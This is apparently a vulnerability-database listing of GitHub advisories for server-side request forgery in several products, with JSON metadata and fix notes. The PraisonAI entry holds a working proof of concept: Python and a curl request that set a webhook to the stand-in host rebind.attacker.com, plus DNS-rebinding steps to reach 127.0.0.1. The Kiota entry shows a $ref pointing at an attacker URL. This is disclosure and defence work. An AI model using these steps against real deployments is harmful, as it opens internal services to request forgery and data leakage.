CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6248 vulnerabilities reference this CWE, most recent first.
GHSA-RFXF-9PCF-Q3RQ
Vulnerability from github – Published: 2026-07-30 21:31 – Updated: 2026-07-30 21:31Leantime 3.6.2 contains a server-side request forgery and local file inclusion vulnerability that allows authenticated attackers to read internal resources by passing unsanitized user-supplied filenames to file_get_contents() in the Blueprints::import() method without path validation. Attackers can submit crafted filenames containing URL wrappers or path traversal sequences through the JSON-RPC API endpoint to access cloud metadata services or read arbitrary files from the server filesystem.
{
"affected": [],
"aliases": [
"CVE-2026-66415"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T19:18:36Z",
"severity": "HIGH"
},
"details": "Leantime 3.6.2 contains a server-side request forgery and local file inclusion vulnerability that allows authenticated attackers to read internal resources by passing unsanitized user-supplied filenames to file_get_contents() in the Blueprints::import() method without path validation. Attackers can submit crafted filenames containing URL wrappers or path traversal sequences through the JSON-RPC API endpoint to access cloud metadata services or read arbitrary files from the server filesystem.",
"id": "GHSA-rfxf-9pcf-q3rq",
"modified": "2026-07-30T21:31:49Z",
"published": "2026-07-30T21:31:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/javokhir-sec/CVE-PoC-Hub/security/advisories/GHSA-gphg-6h4g-mg22"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66415"
},
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime/pull/3656"
},
{
"type": "WEB",
"url": "https://github.com/Leantime/leantime"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/leantime-server-side-request-forgery-and-local-file-inclusion-in-blueprints-import"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RG43-2QFX-HV4G
Vulnerability from github – Published: 2022-05-14 03:38 – Updated: 2022-05-14 03:38GroupViewProxyServlet in RoomWizard before 4.4.x allows SSRF via the url parameter.
{
"affected": [],
"aliases": [
"CVE-2018-7055"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-15T10:29:00Z",
"severity": "HIGH"
},
"details": "GroupViewProxyServlet in RoomWizard before 4.4.x allows SSRF via the url parameter.",
"id": "GHSA-rg43-2qfx-hv4g",
"modified": "2022-05-14T03:38:49Z",
"published": "2022-05-14T03:38:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7055"
},
{
"type": "WEB",
"url": "http://misteralfa-hack.blogspot.cl/2018/02/steelcase-sala-por-favor-y-todos-tus.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RG4H-FPCP-2QM8
Vulnerability from github – Published: 2026-07-24 16:10 – Updated: 2026-08-17 14:56Summary
Microsoft Kiota resolved OpenAPI $refs by fetching remote http(s) URLs and reading local files
(including absolute / out-of-tree paths), inlining the referenced schema into the generated client.
Running kiota generate on a spec whose $ref pointed at an attacker/internal URL or an arbitrary
local file yielded SSRF, remote file inclusion, and local file inclusion. Verified on 1.32.3 / 1.32.4.
Details
$ref: http://attacker/internal-evil.json#/...→ build host fetches the URL (SSRF) and inlines the remote schema (RFI); confirmed propertyREMOTE_KIOTA_PROPin the generated client.$ref: /abs/path.json#/...or../../secret.json#/...→ Kiota reads the out-of-tree local file and inlines its schema (LFI); confirmedLeakedschema in the generated client. Resolution is transitive across nesting levels.
Kiota escapes its output sinks (comments/strings/identifiers), so attacker-controlled remote/local content cannot break out into code — no RCE. The chain stops at SSRF + RFI + LFI.
Impact
Build-time SSRF (CWE-918) from the developer or CI host, disclosure of arbitrary local files (CWE-22), and inclusion of untrusted remote content (CWE-829), from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution. Notable because Kiota is otherwise the hardened generator (it resists the code-injection class).
The relevant threat is not "change the generated output" (an attacker who fully controls the description can already do that) but the side effects on the build host: outbound requests from inside the CI network (cloud metadata, internal-only services) and reads of local files the attacker never possessed, whose contents are then inlined into the generated — and typically committed/published — client. It also bypasses controls that review the description document but not externally-referenced content.
Patches
Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7888). External reference resolution is now
default-deny: a new AllowedExternalOriginsStreamLoader refuses to load any external $ref — remote
http(s) URLs and local file paths alike — unless its origin/path is explicitly allow-listed. A new
--allowed-external-origins parameter (added to the commands that load OpenAPI descriptions) opts specific
origins back in, accepting *, full URIs, URI patterns, full paths, relative paths, or path patterns
(wildcards supported). With no allow-list entries, external references are not loaded at all.
Remediation
Upgrade to Kiota 1.29.1, 1.32.5, or later. External references now require explicit opt-in via
--allowed-external-origins; add only trusted origins/paths.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.OpenApi.Kiota"
},
"ranges": [
{
"events": [
{
"introduced": "1.30.0"
},
{
"fixed": "1.32.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.OpenApi.Kiota.Builder"
},
"ranges": [
{
"events": [
{
"introduced": "1.30.0"
},
{
"fixed": "1.32.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.OpenApi.Kiota"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.OpenApi.Kiota.Builder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.29.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59867"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-829",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:10:17Z",
"nvd_published_at": "2026-07-16T16:19:15Z",
"severity": "HIGH"
},
"details": "## Summary\n\nMicrosoft Kiota resolved OpenAPI `$ref`s by fetching remote `http(s)` URLs and reading local files\n(including absolute / out-of-tree paths), inlining the referenced schema into the generated client.\nRunning `kiota generate` on a spec whose `$ref` pointed at an attacker/internal URL or an arbitrary\nlocal file yielded SSRF, remote file inclusion, and local file inclusion. Verified on **1.32.3 / 1.32.4**.\n\n### Details\n\n- `$ref: http://attacker/internal-evil.json#/...` \u2192 build host fetches the URL (SSRF) and inlines the\n remote schema (RFI); confirmed property `REMOTE_KIOTA_PROP` in the generated client.\n- `$ref: /abs/path.json#/...` or `../../secret.json#/...` \u2192 Kiota reads the out-of-tree local file and\n inlines its schema (LFI); confirmed `Leaked` schema in the generated client. Resolution is transitive\n across nesting levels.\n\nKiota **escapes** its output sinks (comments/strings/identifiers), so attacker-controlled remote/local\ncontent cannot break out into code \u2014 no RCE. The chain stops at SSRF + RFI + LFI.\n\n### Impact\n\nBuild-time SSRF (CWE-918) from the developer or CI host, disclosure of arbitrary local files (CWE-22), and\ninclusion of untrusted remote content (CWE-829), from running the generator on an attacker-controlled or\nattacker-influenced OpenAPI description. No code execution. Notable because Kiota is otherwise the hardened\ngenerator (it resists the code-injection class).\n\nThe relevant threat is not \"change the generated output\" (an attacker who fully controls the description can\nalready do that) but the **side effects on the build host**: outbound requests from inside the CI network\n(cloud metadata, internal-only services) and reads of local files the attacker never possessed, whose contents\nare then inlined into the generated \u2014 and typically committed/published \u2014 client. It also bypasses controls\nthat review the description document but not externally-referenced content.\n\n### Patches\n\nFixed in **1.29.1 and 1.32.5** (https://github.com/microsoft/kiota/pull/7888). External reference resolution is now\n**default-deny**: a new `AllowedExternalOriginsStreamLoader` refuses to load any external `$ref` \u2014 remote\n`http(s)` URLs and local file paths alike \u2014 unless its origin/path is explicitly allow-listed. A new\n`--allowed-external-origins` parameter (added to the commands that load OpenAPI descriptions) opts specific\norigins back in, accepting `*`, full URIs, URI patterns, full paths, relative paths, or path patterns\n(wildcards supported). With no allow-list entries, external references are not loaded at all.\n\n### Remediation\n\nUpgrade to Kiota **1.29.1, 1.32.5,** or later. External references now require explicit opt-in via\n`--allowed-external-origins`; add only trusted origins/paths.",
"id": "GHSA-rg4h-fpcp-2qm8",
"modified": "2026-08-17T14:56:30Z",
"published": "2026-07-24T16:10:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/security/advisories/GHSA-rg4h-fpcp-2qm8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59867"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/pull/7888"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/commit/cccd798027f0a20db796b3df6c64f9897a39d7b1"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/kiota"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota/releases/tag/v1.32.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Microsoft Kiota: Generation-time SSRF + remote/local file inclusion via unrestricted $ref"
}
GHSA-RG5Q-PP8P-F7JM
Vulnerability from github – Published: 2026-08-25 14:59 – Updated: 2026-08-25 14:59Summary
praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook
URLs by resolving the hostname and checking whether the IP is private. When DNS
resolution fails (socket.gaierror), the validator silently passes the URL via
except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time,
the webhook is fired much later by JobExecutor._send_webhook(), which calls
httpx.AsyncClient().post(job.webhook_url) — performing a fresh, independent DNS
lookup at execution time. Together, these flaws create a TOCTOU SSRF window.
An attacker can:
1. Submit a job with webhook_url pointing to a hostname that currently does not
resolve (NXDOMAIN) → validation passes (gaierror → pass)
2. Update DNS to point that hostname to 127.0.0.1 or another private IP
3. When the job completes, _send_webhook() resolves the hostname fresh → POST sent
to the internal IP
Details
Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):
@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
...
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
raise ValueError("Webhook URL resolves to private network address")
except socket.gaierror:
pass # <-- FAIL-OPEN: DNS failure allows the URL without restriction
return v
When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout,
network error during validation), execution flows to pass and the URL is accepted.
Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):
async def _send_webhook(self, job: Job):
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
job.webhook_url, # <-- fresh DNS resolution here, not cached from validation
json=payload,
...
)
httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time,
completely independent of the validation-time resolution. The gap between submission
and execution can be minutes to hours (depending on job queue depth and timeout settings).
Combined TOCTOU window:
T=0 Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
Result: except socket.gaierror: pass → ACCEPTED
T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)
T=60 Job completes. _send_webhook() fires:
httpx.post("http://rebind.attacker.com/cb")
DNS: rebind.attacker.com → 127.0.0.1
POST reaches 127.0.0.1 → SSRF
Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL
validation at all" on the webhook_url parameter, patched in v4.5.126 by adding
validate_webhook_url() to jobs/models.py. This finding targets the validation code
itself — the except socket.gaierror: pass fail-open introduced in that patch.
CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.
PoC
Requirements: A domain you control with configurable DNS TTL, access to the jobs API
Step 1 — Confirm fail-open behaviour (local code verification):
from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket
# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
req = JobSubmitRequest(
prompt="hello",
webhook_url="http://rebind.attacker.com/callback"
)
# No exception raised — URL accepted despite NXDOMAIN
print("Webhook accepted:", req.webhook_url)
Expected: Webhook accepted: http://rebind.attacker.com/callback
Step 2 — Confirm fresh DNS at execution time:
# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently
import httpx, asyncio
async def demo():
# httpx resolves DNS here, not using any cached result from validation
async with httpx.AsyncClient() as client:
# This call resolves "rebind.attacker.com" fresh at runtime
# If DNS changed since validation, it hits the new IP
try:
r = await client.post("http://rebind.attacker.com/callback", json={})
except Exception as e:
print(f"Connection: {e}")
asyncio.run(demo())
Step 3 — Full attack scenario:
# 1. Set up domain with short TTL, currently returning NXDOMAIN
# rebind.attacker.com → (no record, TTL=60)
# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"prompt": "Calculate 2+2",
"webhook_url": "http://rebind.attacker.com/callback"
}'
# Response: {"job_id": "job_abc123", "status": "queued", ...}
# 3. After 5 seconds (before job finishes), add DNS record:
# rebind.attacker.com A 127.0.0.1 TTL=60
# 4. Wait for job to complete (seconds to minutes).
# _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
# POST request hits 127.0.0.1 (internal service)
# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}
Immediate variant (no DNS timing required):
If DNS resolution fails transiently (rate limit, network blip, temporary outage)
during validation, the webhook is accepted unconditionally even for a URL that would
normally resolve to a private IP. No attacker control over DNS timing is required —
the attacker simply retries submission during moments when their DNS server is unreachable
(e.g., their DNS server is down, causing gaierror).
Impact
What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.
Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to
external or lower-trusted callers. This includes:
- Multi-tenant deployments where workspace members submit jobs
- API integrations (n8n, Zapier-style workflows) that provide
webhook_urlfields
Post-exploit capabilities: - HTTP POST to any internal service with JSON payload (job result data) - If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure - Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint
---
## Remediation Suggestion (for maintainers)
**Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**
```python
# VULNERABLE
except socket.gaierror:
pass
# FIXED
except socket.gaierror:
raise ValueError(
"Webhook URL hostname could not be resolved. "
"Ensure the hostname is valid and publicly reachable."
)
Fix 2 — Re-validate at execution time (jobs/executor.py before _send_webhook):
async def _send_webhook(self, job: Job):
if not job.webhook_url:
return
# Re-validate to prevent DNS rebinding
try:
from urllib.parse import urlparse
import socket, ipaddress
hostname = urlparse(job.webhook_url).hostname
ip = socket.gethostbyname(hostname)
if ipaddress.ip_address(ip).is_private:
logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}")
return
except Exception as e:
logger.warning(f"Webhook validation failed at execution: {e}")
return
# ... proceed with httpx.post
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55537"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-705",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T14:59:44Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url()` validates webhook\nURLs by resolving the hostname and checking whether the IP is private. When DNS\nresolution fails (`socket.gaierror`), the validator **silently passes** the URL via\n`except socket.gaierror: pass`. Additionally, even when DNS succeeds at validation time,\nthe webhook is fired much later by `JobExecutor._send_webhook()`, which calls\n`httpx.AsyncClient().post(job.webhook_url)` \u2014 performing a **fresh, independent DNS\nlookup** at execution time. Together, these flaws create a TOCTOU SSRF window.\n\nAn attacker can:\n1. Submit a job with `webhook_url` pointing to a hostname that currently does not\n resolve (NXDOMAIN) \u2192 validation passes (`gaierror` \u2192 `pass`)\n2. Update DNS to point that hostname to `127.0.0.1` or another private IP\n3. When the job completes, `_send_webhook()` resolves the hostname fresh \u2192 POST sent\n to the internal IP\n\n### Details\n\n**Flaw 1 \u2014 Fail-open on DNS error (`jobs/models.py` lines 58-66):**\n\n```python\n@field_validator(\"webhook_url\")\n@classmethod\ndef validate_webhook_url(cls, v):\n ...\n try:\n ip = socket.gethostbyname(hostname)\n ip_obj = ipaddress.ip_address(ip)\n if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:\n raise ValueError(\"Webhook URL resolves to private network address\")\n except socket.gaierror:\n pass # \u003c-- FAIL-OPEN: DNS failure allows the URL without restriction\n return v\n```\n\nWhen `socket.gethostbyname(hostname)` raises `socket.gaierror` (NXDOMAIN, timeout,\nnetwork error during validation), execution flows to `pass` and the URL is accepted.\n\n**Flaw 2 \u2014 Fresh DNS at execution time (`jobs/executor.py` lines 376-406):**\n\n```python\nasync def _send_webhook(self, job: Job):\n async with httpx.AsyncClient(timeout=30.0) as client:\n response = await client.post(\n job.webhook_url, # \u003c-- fresh DNS resolution here, not cached from validation\n json=payload,\n ...\n )\n```\n\n`httpx.AsyncClient` creates a new connection per call. DNS is resolved at execution time,\ncompletely independent of the validation-time resolution. The gap between submission\nand execution can be minutes to hours (depending on job queue depth and timeout settings).\n\n**Combined TOCTOU window:**\n\n```\nT=0 Attacker submits: webhook_url = \"http://rebind.attacker.com/cb\"\n Validation: socket.gethostbyname(\"rebind.attacker.com\") \u2192 gaierror (NXDOMAIN)\n Result: except socket.gaierror: pass \u2192 ACCEPTED\n\nT=5 Attacker updates DNS: rebind.attacker.com A \u2192 127.0.0.1 (TTL=60)\n\nT=60 Job completes. _send_webhook() fires:\n httpx.post(\"http://rebind.attacker.com/cb\")\n DNS: rebind.attacker.com \u2192 127.0.0.1\n POST reaches 127.0.0.1 \u2192 SSRF\n```\n\n**Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm:** That CVE covered \"no URL\nvalidation at all\" on the webhook_url parameter, patched in v4.5.126 by adding\n`validate_webhook_url()` to `jobs/models.py`. This finding targets the **validation code\nitself** \u2014 the `except socket.gaierror: pass` fail-open introduced in that patch.\nCVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.\n\n### PoC\n\n**Requirements:** A domain you control with configurable DNS TTL, access to the jobs API\n\n**Step 1 \u2014 Confirm fail-open behaviour (local code verification):**\n\n```python\nfrom praisonai.jobs.models import JobSubmitRequest\nfrom unittest.mock import patch\nimport socket\n\n# Simulate: hostname temporarily does not resolve\nwith patch(\"socket.gethostbyname\", side_effect=socket.gaierror(\"NXDOMAIN\")):\n req = JobSubmitRequest(\n prompt=\"hello\",\n webhook_url=\"http://rebind.attacker.com/callback\"\n )\n # No exception raised \u2014 URL accepted despite NXDOMAIN\n print(\"Webhook accepted:\", req.webhook_url)\n```\n\nExpected: `Webhook accepted: http://rebind.attacker.com/callback`\n\n**Step 2 \u2014 Confirm fresh DNS at execution time:**\n\n```python\n# From jobs/executor.py _send_webhook():\n# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)\n# Standard httpx behaviour: each .post() resolves DNS independently\n\nimport httpx, asyncio\n\nasync def demo():\n # httpx resolves DNS here, not using any cached result from validation\n async with httpx.AsyncClient() as client:\n # This call resolves \"rebind.attacker.com\" fresh at runtime\n # If DNS changed since validation, it hits the new IP\n try:\n r = await client.post(\"http://rebind.attacker.com/callback\", json={})\n except Exception as e:\n print(f\"Connection: {e}\")\n\nasyncio.run(demo())\n```\n\n**Step 3 \u2014 Full attack scenario:**\n\n```bash\n# 1. Set up domain with short TTL, currently returning NXDOMAIN\n# rebind.attacker.com \u2192 (no record, TTL=60)\n\n# 2. Submit job via API\ncurl -X POST http://praisonai-server:8000/jobs \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"prompt\": \"Calculate 2+2\",\n \"webhook_url\": \"http://rebind.attacker.com/callback\"\n }\u0027\n# Response: {\"job_id\": \"job_abc123\", \"status\": \"queued\", ...}\n\n# 3. After 5 seconds (before job finishes), add DNS record:\n# rebind.attacker.com A 127.0.0.1 TTL=60\n\n# 4. Wait for job to complete (seconds to minutes).\n# _send_webhook() fires and resolves rebind.attacker.com \u2192 127.0.0.1\n# POST request hits 127.0.0.1 (internal service)\n\n# If 127.0.0.1:80 is running a service, it receives:\n# POST /callback HTTP/1.1\n# Content-Type: application/json\n# {\"job_id\": \"job_abc123\", \"status\": \"succeeded\", \"result\": \"4\", ...}\n```\n\n**Immediate variant (no DNS timing required):**\n\nIf DNS resolution fails transiently (rate limit, network blip, temporary outage)\nduring validation, the webhook is accepted unconditionally even for a URL that would\nnormally resolve to a private IP. No attacker control over DNS timing is required \u2014\nthe attacker simply retries submission during moments when their DNS server is unreachable\n(e.g., their DNS server is down, causing `gaierror`).\n\n### Impact\n\n**What kind of vulnerability:** Server-Side Request Forgery via TOCTOU DNS rebinding\nand validation fail-open.\n\n**Who is impacted:** Any deployment exposing the PraisonAI Jobs API (`POST /jobs`) to\nexternal or lower-trusted callers. This includes:\n\n- **Multi-tenant deployments** where workspace members submit jobs\n- **API integrations** (n8n, Zapier-style workflows) that provide `webhook_url` fields\n\n**Post-exploit capabilities:**\n- HTTP POST to any internal service with JSON payload (job result data)\n- If an internal service interprets the POST body as commands (Jenkins webhook,\n Consul KV, etc.), this achieves code execution on internal infrastructure\n- Exfiltration of job results (which may include agent reasoning, data retrieved\n during the task, discovered credentials) to an attacker-controlled endpoint\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\n**Fix 1 \u2014 Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**\n\n```python\n# VULNERABLE\nexcept socket.gaierror:\n pass\n\n# FIXED\nexcept socket.gaierror:\n raise ValueError(\n \"Webhook URL hostname could not be resolved. \"\n \"Ensure the hostname is valid and publicly reachable.\"\n )\n```\n\n**Fix 2 \u2014 Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**\n\n```python\nasync def _send_webhook(self, job: Job):\n if not job.webhook_url:\n return\n # Re-validate to prevent DNS rebinding\n try:\n from urllib.parse import urlparse\n import socket, ipaddress\n hostname = urlparse(job.webhook_url).hostname\n ip = socket.gethostbyname(hostname)\n if ipaddress.ip_address(ip).is_private:\n logger.warning(f\"Webhook SSRF blocked at execution time: {job.webhook_url}\")\n return\n except Exception as e:\n logger.warning(f\"Webhook validation failed at execution: {e}\")\n return\n # ... proceed with httpx.post\n```",
"id": "GHSA-rg5q-pp8p-f7jm",
"modified": "2026-08-25T14:59:44Z",
"published": "2026-08-25T14:59:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg5q-pp8p-f7jm"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` \u2014 bypass of CVE-2026-40114"
}
GHSA-RG64-8MRM-6X23
Vulnerability from github – Published: 2026-02-16 15:32 – Updated: 2026-02-16 15:32A flaw has been found in GeekAI up to 4.2.4. The affected element is the function Download of the file api/handler/net_handler.go. This manipulation of the argument url causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-2558"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-16T14:16:18Z",
"severity": "MODERATE"
},
"details": "A flaw has been found in GeekAI up to 4.2.4. The affected element is the function Download of the file api/handler/net_handler.go. This manipulation of the argument url causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-rg64-8mrm-6x23",
"modified": "2026-02-16T15:32:47Z",
"published": "2026-02-16T15:32:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2558"
},
{
"type": "WEB",
"url": "https://github.com/yangjian102621/geekai/issues/256"
},
{
"type": "WEB",
"url": "https://github.com/yangjian102621/geekai/issues/256#issue-3888814886"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.346166"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.346166"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.750730"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RG6M-2R9V-C5FJ
Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2025-10-22 00:32The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server.
{
"affected": [],
"aliases": [
"CVE-2021-21985"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-26T15:15:00Z",
"severity": "CRITICAL"
},
"details": "The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server.",
"id": "GHSA-rg6m-2r9v-c5fj",
"modified": "2025-10-22T00:32:13Z",
"published": "2022-05-24T19:03:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21985"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-21985"
},
{
"type": "WEB",
"url": "https://www.vmware.com/security/advisories/VMSA-2021-0010.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/162812/VMware-Security-Advisory-2021-0010.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/163487/VMware-vCenter-Server-Virtual-SAN-Health-Check-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RG78-GCXQ-8369
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-05-24 19:17Myucms v2.2.1 contains a server-side request forgery (SSRF) in the component \controller\index.php, which can be exploited via the sql() method.
{
"affected": [],
"aliases": [
"CVE-2020-21649"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-06T22:15:00Z",
"severity": "HIGH"
},
"details": "Myucms v2.2.1 contains a server-side request forgery (SSRF) in the component \\controller\\index.php, which can be exploited via the sql() method.",
"id": "GHSA-rg78-gcxq-8369",
"modified": "2022-05-24T19:17:00Z",
"published": "2022-05-24T19:17:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-21649"
},
{
"type": "WEB",
"url": "https://github.com/lolipop1234/XXD/issues/4"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RG7F-FCX2-CJW3
